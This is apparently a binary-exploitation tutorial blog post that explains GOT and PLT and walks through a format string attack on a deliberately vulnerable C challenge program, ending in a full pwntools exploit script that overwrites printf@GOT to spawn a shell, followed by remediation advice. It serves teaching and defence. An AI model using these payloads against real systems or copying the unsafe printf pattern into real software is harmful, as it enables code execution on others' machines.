Basic Linux Pwn II: Overwrite Global Offset Table to Gain Remote Code Execution
Hola Hacker’s!
Basic Linux Pwn II: Overwrite Global Offset Table to Gain Remote Code Execution
Figure 1. Article banner
Hola Hacker’s!
In this article, I will explain how to overwrite a symbol or function entry in the Global Offset Table (GOT) to gain Remote Code Execution (RCE). Similar to the previous tutorial (ret2plt), I will modify a few lines of C source code to enable a GOT overwrite. However, I assume you already have a basic understanding of Python, C programming, and GDB debugging, including reading assembly language.
⚠️ Disclaimer
This article is written purely for educational purposes. I am not responsible for any misuse or illegal activity conducted with this knowledge. Only practice on systems you own or have explicit permission to test.
Background: ret2plt (Previous Tutorial)
In the previous article, we covered ret2plt — a technique that overwrites the return address on the stack (the $rip / $eip register) to redirect execution to system@PLT. We also used a pop rdi; ret gadget to control the first argument of system(), passing /bin/sh to spawn a shell.
This time, we go a step further. Instead of overwriting the return address, we will overwrite a GOT entry for a specific libc function called directly within the binary, using a format string vulnerability.
Global Offset Table vs Procedure Linkage Table
Linux ELF binaries have two ways to load external symbols, such as functions from libc:
- Statically linked: The entire C standard library (
libc.so.6) is embedded directly into the binary at compile time. This results in a larger binary size, but makes the binary self-contained. - Dynamically linked: The binary references shared libraries at runtime. This keeps the binary size small and makes maintenance easier and more flexible. By default, compiling with
gccwithout the-staticflag produces a dynamically linked binary.
For more information about the differences between static and dynamic linking, refer to: https://www.geeksforgeeks.org/operating-systems/static-and-dynamic-linking-in-operating-systems/
Note that every Linux distribution may ship a different version of the C Standard Library (libc). Furthermore, if ASLR protection is enabled, exploitation becomes considerably more difficult.
There are three sections in an ELF binary that are related to GOT and PLT:
**.plt** — These are stubs that look up addresses in the.got.pltsection, and either jump to the resolved address or trigger the dynamic linker (ld.so) to resolve it if the address has not yet been filled in.**.got** — This is the actual table of offsets filled in by the dynamic linker for external symbols.**.got.plt** — This is the GOT for the PLT. It contains the resolved target addresses, or a pointer back into the.pltto trigger the lookup. Historically, this data was part of the.gotsection.
For more information about the ELF binary structure, visit: https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html
How GOT and PLT Work Together?
When a dynamically linked binary calls an external function such as exit(), the call passes through two structures:
- Procedure Linkage Table (PLT): A stub of code inside the binary. Each external function has a PLT entry. The first call triggers the dynamic linker to resolve the real address.
- Global Offset Table (GOT): A table of pointers inside the binary's data segment. After the dynamic linker resolves a function, it writes the real libc address here. Subsequent calls jump directly to this GOT entry.
The call flow looks like this:
First call (symbol not yet resolved):
call exit@PLT → exit@PLT stub → exit@GOT → exit() in libc
Second call (symbol already resolved):
call exit@PLT → exit@PLT stub → exit@GOT (jumps directly)
Why Does This Matter for Exploitation?
Because the GOT resides in a writable data segment when RELRO is not set to Full, we can overwrite the address stored in any GOT entry. If we replace exit@GOT with the address of system() in libc, then the next time the program calls exit(something), it will instead call system(something). If we can also control the argument that is passed to exit(), we can supply "/bin/sh" to spawn a shell.
Format Specifier in C
As you may already know, printf() in C is used to print values to stdout. Each value to be printed uses a format specifier:
%c: single character%s: string (null-terminated)%d: signed decimal integer%i: unsigned integer%u: unsigned decimal integer%f: float number%lld: long long integer%lf: double (long float)%p: pointer to an address (prints address in hex)%n: Writes the number of bytes printed so far into a pointer argument%hn: Like%n, but writes a 2-byte (short) value%hhn: Like%n, but writes a 1-byte value%hu: Unsigned short integer
For more information about C format specifiers, visit this website: https://www.tutorialspoint.com/cprogramming/c_format_specifiers.htm
Useful Format Specifiers for Exploitation
%p: Leaks memory addresses from the stack (stack canary, PIE base, libc base)%hhn: Writes a 1-byte value to a given address. Used to overwrite GOT entries byte-by-byte.%hn: Writes a 2-byte (short) value to a given address. Faster GOT overwrite if you only need to change 2 bytes.%n: Writes a 4-byte value. Rarely used directly because it requires printing a huge number of characters.%lln: Writes an 8-byte value. This format specifier is mostly used for 64-bit binary targets.
Format String Vulnerability
A format string vulnerability occurs when user-controlled input is passed directly as the format string argument to printf():
printf(user_input); // Vulnerable
printf("%s", user_input); // Safe
When the format string is controlled by an attacker, they can:
- Use
%pchains to leak memory addresses from the stack, such as stack canaries, PIE offsets, and libc symbols. - Use
%n/%hn/%hhnwith a crafted address placed on the stack to write arbitrary values to arbitrary addresses. This is the mechanism used to overwrite the GOT.
Crafting the GOT Overwrite Payload
In essence, a GOT overwrite replaces the address of a function such as exit() with something like system('/bin/sh') or execve('/bin/sh', NULL, NULL), thereby spawning a shell on the remote server.
The payload structure differs slightly between 32-bit and 64-bit binary architectures.
For a 32-bit binary:
[padding_for_4-byte_alignment][target_address]%[value_to_write]X%[position_of_target_address]$[write_type]
For a 64-bit binary:
%[value_to_write]X%[position_of_target_address]$[write_type][padding_for_8-byte_alignment][target_address]
In a 64-bit binary, the target address is placed at the end of the payload. This is because 64-bit addresses are 8 bytes wide, unlike 32-bit addresses, which are only 4 bytes. An address such as 0x405060 is internally represented as 0x0000000000405060 — five null bytes follow the significant bytes (LSB). Placing the address at the end prevents those null bytes from prematurely terminating the format string.
To make this concrete, consider the following example:
- RELRO protection is set to Partial, not Full read-only. This is what makes the GOT overwrite possible.
exit@GOTis the target address to be overwritten, located at0x404010.system@PLTis the value we will write to the GOT entry at0x401011.- The buffer offset is at position 6 on the stack.
Our payload will look like this:
exit_got = elf.got['exit'] # 0x404010
system_plt = elf.plt['system'] # 0x401011
# Value to write (system_plt)
# High chunk : 0x40 -> 64 in decimal
# Low chunk : 0x1011 -> 4113 in decimal
# Delta (written bytes so far) -> 4113 - 64 = 4049 in decimal
# Target address (exit_got)
# exit_got + 2 (high address) = 0x404012 (\x12\x40\x40\x00\x00\x00\x00\x00)
# exit_got (low address) = 0x404010 (\x10\x40\x40\x00\x00\x00\x00\x00)
# One-liner payload
payload = b"%64X%9$n%4049X%10$hnAAAA\x12\x40\x40\x00\x00\x00\x00\x00\x10\x40\x40\x00\x00\x00\x00\x00"
# More clean
payload = b"%64X%9$n" # write 4-byte (0x00400000) at 9th position
payload += b"%4049X%10$hnAAAA" # write 2-byte (0x1011) at 10th position
payload += p64(exit_got+2) # high target address
payload += p64(exit_got) # low target address
# Easier, automatically generated by pwntools
from pwn import *
buffer_offset = 6
payload = fmtstr_payload(buffer_offset, {exit_got: system_plt})
io.sendline(payload)
io.interactive()
Some key points to keep in mind:
- Always write the high address first.
- High address write uses
%n(4-byte write). The target address is offset by+2because we will write the lower 2 bytes separately afterward. - Low address write uses
%hn(2-byte write). The width value must be the delta between the target value and the number of bytes already printed. In this example:4113 − 64 = 4049. Use this simple formula to calculate the desired value to write for a specific target address.
value to write - written bytes so far = delta
4113 - 64 = 4049 (in decimal)
- The width values (64 — high address, 4049 — low address) cause
printfto print that many space characters to stdout, which advances the internal byte counter to the desired write value. - The
AAAApadding is inserted to ensure that every element in the payload is 8-byte aligned on the stack. The resulting stack layout becomes:
%64X%9$n → stack slot position 6 (buffer start)
%4049X%1 → stack slot position 7
0$hnAAAA → stack slot position 8 (padding)
GOT+2 addr → stack slot position 9 (high target address)
GOT addr → stack slot position 10 (low target address)
The Challenge — GOT Overwrite
The source code for this challenge is not significantly different from the previous tutorial (ret2plt). The buffer overflow vulnerability has been removed.
// chall.c
// compile: gcc -m64 -fstack-protector -no-pie -Wl,-z,relro,-z,lazy \
// -Wno-stringop-overflow -Wno-format-security -o vuln chall.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX_SIZE 100
// Secret message to spawn something??
const char secret_msg[8] = "/bin/sh\x00";
// Ignore this, just for disable buffering
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
// Helper function
__attribute__((naked))
void useful_gadget() {
__asm__ volatile(
"pop %rdi\n"
"ret\n"
);
}
void get_user_id() {
system("id");
}
// This is our goals
void get_shell() {
system(secret_msg);
}
void echo_input() {
char echo_cmd[MAX_SIZE] = {0};
puts("What's your echo command? ");
printf("> ");
read(0, echo_cmd, MAX_SIZE-1);
echo_cmd[MAX_SIZE] = '\0'; // add null char
// strip newline
if (echo_cmd[MAX_SIZE-1] == '\n') echo_cmd[MAX_SIZE-1] = '\0';
printf("Your echo command -> ");
printf(echo_cmd); // vulnerable
putchar('\n');
}
int main() {
setup();
printf("===[ Mission Ech0 ]===");
unsigned int option = 0;
while (1) {
puts("\n===[ Your Order ]====");
puts("1. Get User ID");
puts("2. Echo Input");
puts("3. Exit");
printf("> ");
scanf("%d", &option);
getchar();
switch (option) {
case 1:
get_user_id();
break;
case 2:
echo_input(); // trigger format string vuln
break;
case 3:
puts("Bye!");
exit(0);
default:
puts("Invalid option!");
break;
}
}
return 0;
}
The binary is compiled with the following protections:

Figure 2. “checksec” output showing the binary’s protection flags
- Stack Canary ✅ — A random value is placed on the stack before the return address. If this value is overwritten, the program aborts with a “stack smashing detected” error.
- Position Independent Executable (PIE) ❌ — PIE is disabled to keep this challenge accessible. Without PIE, the binary loads at a fixed base address on every run, so symbol addresses are static and do not need to be leaked.
- Relocation Read-Only ⚠️ — Partial RELRO is enabled. The GOT is writable, which is what makes this attack possible. Full RELRO would make the GOT read-only and prevent the overwrite entirely.
- NX (No-Execute) ✅ — The stack is not executable, so injecting and running shellcode directly is not possible.
- ASLR (OS Level) ✅ — libc is loaded at a random base address on every run. A libc address must be leaked at runtime in order to calculate the address of
system().
Exploitation Phases
Step 1: Find The Buffer Offset on The Stack
To locate our input buffer on the stack, we craft a payload that probes each stack position and leaks its value. The following Python script automates this (adjust as needed for your buffer size):
payload = b"A"*8 + b"." # 9 characters/bytes
payload += b".".join(f"%{i}$p".encode() for i in range(1, 51))[:(100-9)]
# Output:
b'AAAAAAAA.%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p.%9$p.%10$p.%11$p.%12$p.%13$p.%14$p.%15$p.%16$p.%17$'
Send this payload through the echo input option (number 2). Look for the value 0x4141414141414141 the hex representation of “AAAAAAAA”) in the output. The position at which it appears is the buffer offset.

Figure 3. The value “0x4141414141414141” appears at position “6”, confirming the buffer offset
From the figure 3, the buffer is located at position 6 on the stack.
Step 2: Identify What to Write and Where
Because PIE is disabled, all binary symbols have fixed and predictable addresses. We need two values:
get_shell()— the function we want to execute (what to write).printf@GOT— the GOT entry we will overwrite (where).
The get_shell() address can be found using info functions or print get_shell in GDB. Use info functions command to check the symbols list.

Figure 4. GDB output showing “get_shell()” at address “0x00000000004012de”
From the figure 4, we know that the get_shell() address is 0x00000000004012de.
The printf@GOT address can be found using the got command in GEF, or by using readelf command:
readelf -r ./vuln | grep "printf"
The got command can be achieved after you run the program. For this case, I will set 2 breakpoints at echo_input function:
- Input process →
echo_input+187 - Format string vulnerability occurs →
echo_input+235
Dump of assembler code for function echo_input:
0x00000000004012f8 <+0>: endbr64
0x00000000004012fc <+4>: push rbp
0x00000000004012fd <+5>: mov rbp,rsp
0x0000000000401300 <+8>: sub rsp,0x70
# ... output omitted ...
0x000000000040139d <+165>: lea rax,[rbp-0x70]
0x00000000004013a1 <+169>: mov edx,0x63
0x00000000004013a6 <+174>: mov rsi,rax
0x00000000004013a9 <+177>: mov edi,0x0
0x00000000004013ae <+182>: call 0x401120 <read@plt>
0x00000000004013b3 <+187>: mov BYTE PTR [rbp-0xc],0x0
0x00000000004013b7 <+191>: movzx eax,BYTE PTR [rbp-0xd]
0x00000000004013bb <+195>: cmp al,0xa
0x00000000004013bd <+197>: jne 0x4013c3 <echo_input+203>
0x00000000004013bf <+199>: mov BYTE PTR [rbp-0xd],0x0
0x00000000004013c3 <+203>: lea rax,[rip+0xc67] # 0x402031
0x00000000004013ca <+210>: mov rdi,rax
0x00000000004013cd <+213>: mov eax,0x0
0x00000000004013d2 <+218>: call 0x401110 <printf@plt>
0x00000000004013d7 <+223>: lea rax,[rbp-0x70]
0x00000000004013db <+227>: mov rdi,rax
0x00000000004013de <+230>: mov eax,0x0
0x00000000004013e3 <+235>: call 0x401110 <printf@plt>
0x00000000004013e8 <+240>: mov edi,0xa
0x00000000004013ed <+245>: call 0x4010d0 <putchar@plt>
0x00000000004013f2 <+250>: nop
0x00000000004013f3 <+251>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004013f7 <+255>: sub rax,QWORD PTR fs:0x28
0x0000000000401400 <+264>: je 0x401407 <echo_input+271>
0x0000000000401402 <+266>: call 0x4010f0 <__stack_chk_fail@plt>
0x0000000000401407 <+271>: leave
0x0000000000401408 <+272>: ret
End of assembler dump.

Figure 5. Setting breakpoints at “echo_input+187” and “echo_input+235”
After set the breakpoints, run the program and input the previous payload.

Figure 6. Running the binary with breakpoints active
After running the program, list all GOT entries using got command.

Figure 7. GOT entries viewed with the “got” command — “printf@GOT” is at “0x404020”
As you can see at figure 7, the printf@GOT address is located at 0x404020 (there are 5 more null characters \x00). We need to replace it with the address of get_shell(), which is 0x00000000004012de.
Step 3: Craft the Payload
We split the value to write, which is get_shell() address (0x4012de) into two chunks:
- High chunk:
0x40= 64 in decimal → written toprintf@GOT+2using%n(4-byte write) - Low chunk:
0x12de= 4830 in decimal → written toprintf@GOTusing%hn(2-byte write) - Delta for the low write:
4830 − 64 = 4766(bytes remaining to print after the high write)
Value to write (get_shell)
High chunk : 0x40 -> 64 in decimal
Low chunk : 0x12de -> 4830 in decimal
Delta (written bytes so far) -> 4830 - 64 = 4766
The target address, which is printf@GOT address (0x404020) is also have to split into two parts:
- High address:
printf@GOT + 2→0x404020 + 2=0x404022← written with high chunk - Low address:
printf@GOT→0x404020← written with low chunk (delta)
Target address (printf_got)
printf_got + 2 (high address) = 0x404022 -> \x22\x40\x40\x00\x00\x00\x00\x00
printf_got (low address) = 0x404020 -> \x20\x40\x40\x00\x00\x00\x00\x00
The position of target address that we will be writing is located at 9 (high address) and 10 (low address):
%64X%9$n→ 6th position = high chunk write 4-byte to high address at 9th position%4766X%1→ 7h position = low chunk (delta) write 2-byte to low address at 10th position0$hnAAAA→ 8th position = add padding for 8-byte alignment on the stack\x22\x40\x40\x00\x00\x00\x00\x00→ 9th position = high address\x20\x40\x40\x00\x00\x00\x00\x00→ 10th position = low address
Our payload will looks like this:
# Write high address first!
# One-liner payload
payload = b"%64X%9$n%4766X%10$hnAAAA\x22\x40\x40\x00\x00\x00\x00\x00\x20\x40\x40\x00\x00\x00\x00\x00"
If we break down the one-liner payload above, the structure will looks like this (remember, this is a 64-bit binary architecture):

Figure 8. Payload structure — annotated diagram showing each component of the format string payload
You can also use pwntools to automatically generate the payload. It’s more easier than we’ve to calculate manually.
# payload = fmtstr_payload(buffer_offset, {target_address: value_to_write})
payload = fmtstr_payload(6, {printf_got: get_shell_addr})
With the payload crafted, we send it through the echo input option (number 2). The next call to printf() inside the binary will now jump to get_shell(), which calls system("/bin/sh") and spawns a shell.
io.sendlineafter(b"> ", b"2") # select echo input
io.sendlineafter(b"> ", payload) # send the overwrite payload
io.sendline(b"/bin/sh\x00") # argument for system()
io.interactive() # interact with the shell
The full exploit script is as follows:
#!/usr/bin/env python3
# x.py
from pwn import *
############## [ DEFINE BINARY
context.binary = ELF("./vuln", checksec=1)
context.log_level = "DEBUG"
context.terminal = ["tmux", "splitw", "-h"]
context.arch = 'amd64'
e = context.binary
# libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6", checksec=0)
# rop = ROP(libc)
gs = """
break *echo_input+187
break *echo_input+235
continue
"""
############## [ SETUP CONNECTION
def init():
if args.GDB:
return gdb.debug(e.path, gdbscript=gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(e.path)
io = init()
############## [ USEFUL GADGETS & SYMBOLS
printf_got = e.got['printf'] # 0x404020
get_shell_addr = e.symbols['get_shell'] # 0x4012de
############## [ EXPLOIT GOES HERE
# Value to write (get_shell)
# High chunk : 0x40 -> 64 in decimal
# Low chunk : 0x12de -> 4830 in decimal
# Delte (written bytes so far) -> 4830 - 64 = 4766 in decimal
# Target address (printf_got)
# printf_got + 2 (high address) = \x22\x40\x40\x00\x00\x00\x00\x00
# printf_got (low address) = \x20\x40\x40\x00\x00\x00\x00\x00
# Write high address first!
# One-liner payload
payload = b"%64X%9$n%4766X%10$hnAAAA\x22\x40\x40\x00\x00\x00\x00\x00\x20\x40\x40\x00\x00\x00\x00\x00"
# Alternative using fmtstr_payload
# payload = fmtstr_payload(6, {printf_got: get_shell_addr})
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"> ", payload)
io.sendline(b"/bin/sh\x00")
io.interactive()
Step 4: Run the Exploit Script
After running the exploit script, a shell is spawned and we have achieved Remote Code Execution (RCE).

Figure 9. After running the exploit script, an interactive shell is obtained
Remediation
A GOT overwrite is only possible because of the format string vulnerability. To prevent this class of attack, the following mitigations should be applied:
- Fix the format string vulnerability — Always pass user-controlled input as a format argument, never as the format string itself. Replace
printf(user_input)withprintf("%s", user_input). - Enable Full RELRO — Compile with
z relro -z now. This marks the GOT as read-only after startup, preventing any runtime overwrites regardless of other vulnerabilities. - Consider static linking — if applicable, statically linking the binary removes the GOT and PLT entirely, eliminating this attack surface. Keep in mind that static binaries are larger and may be harder to maintain.
Summary
In this article, we explored how a format string vulnerability can be exploited to achieve Remote Code Execution via a GOT overwrite. Here is a recap of everything we covered:
- Understood the GOT and PLT — The PLT acts as a call stub that redirects execution through the GOT. The GOT holds the resolved runtime address of each libc function. When RELRO is not Full, these addresses are writable.
- Identified the format string vulnerability — Passing user input directly as the first argument to
printf()allows an attacker to read from and write to arbitrary memory addresses using format specifiers such as%p,%n,%hn, and%hhn. - Located our targets — We used GDB to find the buffer offset (position 6 on the stack), the address of
printf@GOT(0x404020), and the address ofget_shell()(0x4012de). - Crafted the overwrite payload — We split the target address into two chunks — a high 2-byte chunk and a low 2-byte chunk — and wrote each using
%nand%hnrespectively, with carefully calculated width specifiers to control theprintfbyte counter. - Triggered the shell — After overwriting
printf@GOTwith the address ofget_shell(), the next call toprintf()inside the binary redirected execution toget_shell(), which calledsystem("/bin/sh")and spawned an interactive shell.
The key takeaway is that even without a buffer overflow, a single unprotected printf() call is enough to gain full control of a process. Combining it with a writable GOT (Partial RELRO) makes for a highly reliable exploitation primitive.
I hope this article helps you on your journey into Linux binary exploitation. Feel free to leave questions or feedback in the comment section. Happy Pwning!.
References
- https://tripoloski1337.github.io/ctf/2020/06/11/format-string-bug.html
- https://axcheron.github.io/exploit-101-format-strings/
- https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html
- https://ir0nstone.gitbook.io/notes/binexp/stack/got-overwrite/exploiting-a-got-overwrite
- https://competitivecyber.club/past-talks/MasonCC-F17-Format-String-Exploitation.pdf
- https://hacktricks.wiki/en/binary-exploitation/common-binary-protections-and-bypasses/relro.html
메타데이터
- post_id
- 3eaa5daea3a1
- slug
- basic-linux-pwn-ii-overwrite-global-offset-table-to-gain-remote-code-execution-3eaa5daea3a1
- url
- https://medium.com/fmisec/basic-linux-pwn-ii-overwrite-global-offset-table-to-gain-remote-code-execution-3eaa5daea3a1
- canonical_url
- https://medium.com/fmisec/basic-linux-pwn-ii-overwrite-global-offset-table-to-gain-remote-code-execution-3eaa5daea3a1
- author_url
- https://medium.com/@wyzz
- status
- ok
- fetched_at
- 2026-06-10 08:17:25